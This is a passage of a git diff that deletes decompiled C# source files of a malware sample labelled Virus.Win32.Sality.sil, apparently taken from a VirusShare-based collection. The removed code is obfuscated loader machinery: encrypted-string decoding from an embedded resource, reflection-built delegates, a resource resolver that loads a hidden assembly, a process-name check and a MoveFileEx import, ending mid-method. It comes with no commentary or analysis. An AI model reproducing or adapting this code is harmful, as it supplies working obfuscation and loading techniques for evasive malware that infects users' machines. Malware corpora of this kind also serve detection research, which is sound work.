\u0001.\u0001.\u0003(currentProcess.Handle, -1, -1); - } - finally - { - currentProcess?.Dispose(); - } - } - catch - { - } - } - catch (Exception ex) - { - Process process = currentProcess; - throw UnhandledException.\u0003(ex, (object) process, (object) this); - } - } - - private void \u0003(object sender, EventArgs e) - { - DateTime now; - long ticks; - try - { - try - { - now = DateTime.Now; - ticks = now.Ticks; - if (ticks - this.\u0001 <= 10000000L) - return; - this.\u0001 = ticks; - this.\u0003(); - } - catch - { - } - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) ticks; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) now; - object obj = sender; - EventArgs eventArgs = e; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, obj, (object) eventArgs); - } - } - - private \u0001() - { - DateTime now = DateTime.Now; - this.\u0001 = now.Ticks; - // ISSUE: explicit constructor call - base.\u002Ector(); - try - { - // ISSUE: method pointer - Application.Idle += new EventHandler((object) this, __methodptr(\u0003)); - this.\u0003(); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) now; - throw UnhandledException.\u0003(ex, (object) local, (object) this); - } - } - - public static void \u0004() - { - try - { - try - { - if (Environment.OSVersion.Platform != PlatformID.Win32NT) - return; - \u0001.\u0001.\u0001 = new \u0001.\u0001(); - } - catch - { - } - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0002.cs deleted file mode 100644 index 89e621f6..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -namespace \u0001 -{ - internal delegate string \u0002(int i); -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0003.cs deleted file mode 100644 index 84718f7e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0003.cs +++ /dev/null @@ -1,96 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Diagnostics; -using System.Reflection; -using System.Reflection.Emit; - -namespace \u0001 -{ - internal static class \u0003 - { - public static void \u0003() - { - StackFrame frame; - Type declaringType; - FieldInfo[] fields; - int index1; - FieldInfo fieldInfo; - Type[] typeArray; - DynamicMethod dynamicMethod; - ILGenerator ilGenerator; - MethodInfo[] methods; - int index2; - MethodInfo meth; - StackTrace stackTrace; - try - { - stackTrace = new StackTrace(); - frame = stackTrace.GetFrame(1); - declaringType = frame.GetMethod().DeclaringType; - fields = declaringType.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField); - for (index1 = 0; index1 < fields.Length; ++index1) - { - fieldInfo = fields[index1]; - try - { - if ((object) fieldInfo.FieldType == (object) typeof (\u0002)) - { - string empty = string.Empty; - Type returnType = typeof (string); - typeArray = new Type[1]{ typeof (int) }; - Type[] parameterTypes = typeArray; - Type owner = declaringType; - dynamicMethod = new DynamicMethod(empty, returnType, parameterTypes, owner, true); - ilGenerator = dynamicMethod.GetILGenerator(); - ilGenerator.Emit(OpCodes.Ldarg_0); - methods = typeof (\u0006).GetMethods(BindingFlags.Static | BindingFlags.Public); - for (index2 = 0; index2 < methods.Length; ++index2) - { - meth = methods[index2]; - if ((object) meth.ReturnType == (object) typeof (string)) - { - ilGenerator.Emit(OpCodes.Ldc_I4, fieldInfo.MetadataToken & 16777215); - ilGenerator.Emit(OpCodes.Sub); - ilGenerator.Emit(OpCodes.Call, meth); - break; - } - } - ilGenerator.Emit(OpCodes.Ret); - fieldInfo.SetValue((object) null, (object) (\u0002) dynamicMethod.CreateDelegate(typeof (\u0002))); - break; - } - } - catch - { - } - } - } - catch (Exception ex) - { - object[] objArray = new object[12] - { - (object) stackTrace, - (object) frame, - (object) declaringType, - (object) fieldInfo, - (object) dynamicMethod, - (object) ilGenerator, - (object) meth, - (object) fields, - (object) index1, - (object) typeArray, - (object) methods, - (object) index2 - }; - throw UnhandledException.\u0003(ex, objArray); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0004.cs deleted file mode 100644 index 8dc0f772..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0004.cs +++ /dev/null @@ -1,244 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Reflection; -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal static class \u0004 - { - private static ModuleHandle \u0001; - private static char[] \u0001; - - public static void \u0003([In] int obj0) - { - Type typeFromHandle; - FieldInfo[] fields; - int index1; - FieldInfo fieldInfo; - string name; - bool flag; - int num1; - int index2; - char ch; - int index3; - MethodInfo methodFromHandle; - Delegate @delegate; - ParameterInfo[] parameters; - int length; - Type[] parameterTypes; - int index4; - DynamicMethod dynamicMethod; - ILGenerator ilGenerator; - int num2; - try - { - try - { - typeFromHandle = Type.GetTypeFromHandle(\u0004.\u0001.ResolveTypeHandle(33554433 + obj0)); - } - catch - { - return; - } - fields = typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField); - for (index1 = 0; index1 < fields.Length; ++index1) - { - fieldInfo = fields[index1]; - name = fieldInfo.Name; - flag = false; - num1 = 0; - for (index2 = name.Length - 1; index2 >= 0; --index2) - { - ch = name[index2]; - if (ch == '~') - { - flag = true; - break; - } - for (index3 = 0; index3 < 58; ++index3) - { - if ((int) \u0004.\u0001[index3] == (int) ch) - { - num1 = num1 * 58 + index3; - break; - } - } - } - try - { - methodFromHandle = (MethodInfo) MethodBase.GetMethodFromHandle(\u0004.\u0001.ResolveMethodHandle(num1 + 167772161)); - } - catch - { - continue; - } - if (methodFromHandle.IsStatic) - { - try - { - @delegate = Delegate.CreateDelegate(fieldInfo.FieldType, methodFromHandle); - } - catch (Exception ex) - { - continue; - } - } - else - { - parameters = methodFromHandle.GetParameters(); - length = parameters.Length + 1; - parameterTypes = new Type[length]; - parameterTypes[0] = typeof (object); - for (index4 = 1; index4 < length; ++index4) - parameterTypes[index4] = parameters[index4 - 1].ParameterType; - dynamicMethod = new DynamicMethod(string.Empty, methodFromHandle.ReturnType, parameterTypes, typeFromHandle, true); - ilGenerator = dynamicMethod.GetILGenerator(); - ilGenerator.Emit(OpCodes.Ldarg_0); - if (length > 1) - ilGenerator.Emit(OpCodes.Ldarg_1); - if (length > 2) - ilGenerator.Emit(OpCodes.Ldarg_2); - if (length > 3) - ilGenerator.Emit(OpCodes.Ldarg_3); - if (length > 4) - { - for (num2 = 4; num2 < length; ++num2) - ilGenerator.Emit(OpCodes.Ldarg_S, num2); - } - ilGenerator.Emit(flag ? OpCodes.Callvirt : OpCodes.Call, methodFromHandle); - ilGenerator.Emit(OpCodes.Ret); - try - { - @delegate = dynamicMethod.CreateDelegate(typeFromHandle); - } - catch - { - continue; - } - } - try - { - fieldInfo.SetValue((object) null, (object) @delegate); - } - catch - { - } - } - } - catch (Exception ex) - { - object[] objArray = new object[20] - { - (object) typeFromHandle, - (object) fieldInfo, - (object) name, - (object) flag, - (object) num1, - (object) index2, - (object) ch, - (object) index3, - (object) methodFromHandle, - (object) @delegate, - (object) parameters, - (object) length, - (object) parameterTypes, - (object) index4, - (object) dynamicMethod, - (object) ilGenerator, - (object) num2, - (object) fields, - (object) index1, - (object) obj0 - }; - throw UnhandledException.\u0003(ex, objArray); - } - } - - static \u0004() - { - Type type1; - try - { - \u0004.\u0001 = new char[58] - { - '\u0001', - '\u0002', - '\u0003', - '\u0004', - '\u0005', - '\u0006', - '\a', - '\b', - '\u000E', - '\u000F', - '\u0010', - '\u0011', - '\u0012', - '\u0013', - '\u0014', - '\u0015', - '\u0016', - '\u0017', - '\u0018', - '\u0019', - '\u001A', - '\u001B', - '\u001C', - '\u001D', - '\u001E', - '\u001F', - '\u007F', - '\u0080', - '\u0081', - '\u0082', - '\u0083', - '\u0084', - '\u0086', - '\u0087', - '\u0088', - '\u0089', - '\u008A', - '\u008B', - '\u008C', - '\u008D', - '\u008E', - '\u008F', - '\u0090', - '\u0091', - '\u0092', - '\u0093', - '\u0094', - '\u0095', - '\u0096', - '\u0097', - '\u0098', - '\u0099', - '\u009A', - '\u009B', - '\u009C', - '\u009D', - '\u009E', - '\u009F' - }; - type1 = typeof (MulticastDelegate); - if ((object) type1 == null) - return; - \u0004.\u0001 = Assembly.GetExecutingAssembly().GetModules()[0].ModuleHandle; - } - catch (Exception ex) - { - Type type2 = type1; - throw UnhandledException.\u0003(ex, (object) type2); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0005.cs deleted file mode 100644 index 488d0f62..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0005.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal sealed class \u0005 - { - internal static \u0005.\u0001 \u0001; - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0001 - { - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0006.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0006.cs deleted file mode 100644 index c79dc7c3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0006.cs +++ /dev/null @@ -1,148 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using \u0002; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Collections; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal sealed class \u0006 - { - [NonSerialized] - internal static \u0001.\u0002 \u0001; - private static string \u0001; - private static string \u0002; - private static byte[] \u0001; - private static Hashtable \u0001; - private static bool \u0001; - private static int \u0001; - - public static string \u0003([In] int obj0) - { - string str1; - int num1; - int num2; - int num3; - byte[] numArray1; - string str2; - try - { - obj0 -= \u0006.\u0001; - if (\u0006.\u0001) - { - str1 = (string) \u0083\u0005.\u007E\u0005\u0006((object) \u0006.\u0001, (object) obj0); - if (str1 != null) - return str1; - } - num1 = 0; - num2 = obj0; - num3 = (int) \u0006.\u0001[num2++]; - if ((num3 & 128) == 0) - { - num1 = num3; - if (num1 == 0) - return string.Empty; - } - else - num1 = (num3 & 64) != 0 ? ((num3 & 31) << 24) + ((int) \u0006.\u0001[num2++] << 16) + ((int) \u0006.\u0001[num2++] << 8) + (int) \u0006.\u0001[num2++] : ((num3 & 63) << 8) + (int) \u0006.\u0001[num2++]; - string str3; - try - { - numArray1 = \u009A\u0004.\u008E\u0004(\u001E\u0003.\u007E\u0003\u0007((object) \u001F\u0003.\u0005\u0007(), \u0006.\u0001, num2, num1)); - str2 = \u0084\u0005.\u0098\u0003(\u001E\u0003.\u007E\u0003\u0007((object) \u001F\u0003.\u0005\u0007(), numArray1, 0, numArray1.Length)); - if (\u0006.\u0001) - { - try - { - \u0001\u0005.\u007E\u0002\u0006((object) \u0006.\u0001, (object) obj0, (object) str2); - } - catch - { - } - } - str3 = str2; - } - catch - { - str3 = (string) null; - } - return str3; - } - catch (Exception ex) - { - string str4 = str1; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num3; - byte[] numArray2 = numArray1; - string str5 = str2; - string str6; - string str7 = str6; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) str4, (object) local1, (object) local2, (object) local3, (object) numArray2, (object) str5, (object) str7, (object) local4); - } - } - - static \u0006() - { - Assembly assembly1; - Stream stream1; - int length; - byte[] numArray1; - try - { - \u0003.\u0003(); - \u0006.\u0001 = "1"; - \u0006.\u0002 = "17"; - \u0006.\u0001 = (byte[]) null; - \u0006.\u0001 = (Hashtable) null; - \u0006.\u0001 = false; - \u0006.\u0001 = 0; - if (\u0008\u0003.\u0081\u0003(\u0006.\u0001, "1")) - { - \u0006.\u0001 = true; - \u0006.\u0001 = new Hashtable(); - } - \u0006.\u0001 = \u008D\u0005.\u008C\u0004(\u0006.\u0002); - assembly1 = \u0003\u0003.\u0082\u0006(); - stream1 = \u001F\u0004.\u007E\u001C\u0006((object) assembly1, "{97ce9fdf-0921-44cb-ae13-1e9a2a550f0f}"); - try - { - length = \u009F\u0004.\u0089\u0004(\u0006\u0004.\u007E\u0015\u0007((object) stream1)); - numArray1 = new byte[length]; - int num = \u008C\u0003.\u007E\u001B\u0007((object) stream1, numArray1, 0, length); - \u0006.\u0001 = \u0006.\u0003(numArray1); - numArray1 = (byte[]) null; - \u0087\u0005.\u007E\u0018\u0007((object) stream1); - } - finally - { - if (stream1 != null) - \u0087\u0005.\u007E\u001F\u0003((object) stream1); - } - } - catch (Exception ex) - { - Assembly assembly2 = assembly1; - Stream stream2 = stream1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) length; - byte[] numArray2 = numArray1; - throw UnhandledException.\u0003(ex, (object) assembly2, (object) stream2, (object) local, (object) numArray2); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0003.cs deleted file mode 100644 index 487222d7..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; - -internal delegate Pen \u0001\u0003(); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0004.cs deleted file mode 100644 index 5fb98b9f..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate byte[] \u0001\u0004([In] int obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0005.cs deleted file mode 100644 index c7660963..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0001\u0005([In] object obj0, [In] object obj1, [In] object obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0006.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0006.cs deleted file mode 100644 index ea558208..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0006.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate IntPtr \u0001\u0006([In] int obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/Token200012A.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/Token200012A.cs deleted file mode 100644 index 9cfa99fe..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/Token200012A.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Token200012A -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -namespace \u0002 -{ - internal class Token200012A : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0001.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0001.cs deleted file mode 100644 index 21d6566d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0001.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using SmartAssembly.SmartExceptionsCore; -using System; - -namespace \u0002 -{ - internal sealed class \u0001 - { - public static void \u0003() - { - try - { - try - { - \u0002.\u0002.\u0003(); - } - catch (Exception ex) - { - } - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - - public \u0001() - { - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0002.cs deleted file mode 100644 index 4938fc08..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0002.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Threading; - -namespace \u0002 -{ - internal sealed class \u0002 - { - private static Assembly \u0001; - private static string[] \u0001; - - internal static void \u0003() - { - try - { - try - { - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0002.\u0002.\u0003); - } - catch (Exception ex) - { - } - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - string[] strArray1; - string name; - int index; - try - { - if ((object) \u0002.\u0002.\u0001 == null) - { - Monitor.Enter((object) (strArray1 = \u0002.\u0002.\u0001)); - try - { - \u0002.\u0002.\u0001 = Assembly.Load(\u0006.\u0003(18)); - if ((object) \u0002.\u0002.\u0001 != null) - \u0002.\u0002.\u0001 = \u0002.\u0002.\u0001.GetManifestResourceNames(); - } - finally - { - Monitor.Exit((object) strArray1); - } - } - name = obj1.Name; - for (index = 0; index < \u0002.\u0002.\u0001.Length; ++index) - { - if (\u0002.\u0002.\u0001[index] == name) - return \u0002.\u0002.\u0001; - } - return (Assembly) null; - } - catch (Exception ex) - { - string str = name; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) index; - string[] strArray2 = strArray1; - object obj = obj0; - ResolveEventArgs resolveEventArgs = obj1; - throw UnhandledException.\u0003(ex, (object) str, (object) local, (object) strArray2, obj, (object) resolveEventArgs); - } - } - - static \u0002() - { - try - { - \u0002.\u0002.\u0001 = (Assembly) null; - \u0002.\u0002.\u0001 = new string[0]; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0003.cs deleted file mode 100644 index 89625ec6..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0003.cs +++ /dev/null @@ -1,528 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using \u0002; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; - -namespace \u0002 -{ - internal sealed class \u0003 - { - private static Hashtable \u0001; - - [DllImport("kernel32", EntryPoint = "MoveFileEx")] - private static extern bool \u0003([In] string obj0, [In] string obj1, [In] int obj2); - - [SpecialName] - internal static bool \u0003() - { - string lower; - try - { - bool flag; - try - { - lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower(); - if (lower == \u0006.\u0003(115)) - { - flag = true; - goto label_6; - } - else if (lower == \u0006.\u0003(128)) - { - flag = true; - goto label_6; - } - } - catch (Exception ex) - { - } - return false; -label_6: - return flag; - } - catch (Exception ex) - { - string str = lower; - bool flag; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) flag; - throw UnhandledException.\u0003(ex, (object) str, (object) local); - } - } - - internal static void \u0003() - { - char[] chArray1; - string[] strArray; - int index; - string s; - string str1; - string name; - int num; - string str2; - bool flag; - Stream manifestResourceStream; - int length; - byte[] buffer; - string path1; - \u0003.\u0001 obj; - string path2; - FileStream fileStream; - try - { - try - { - 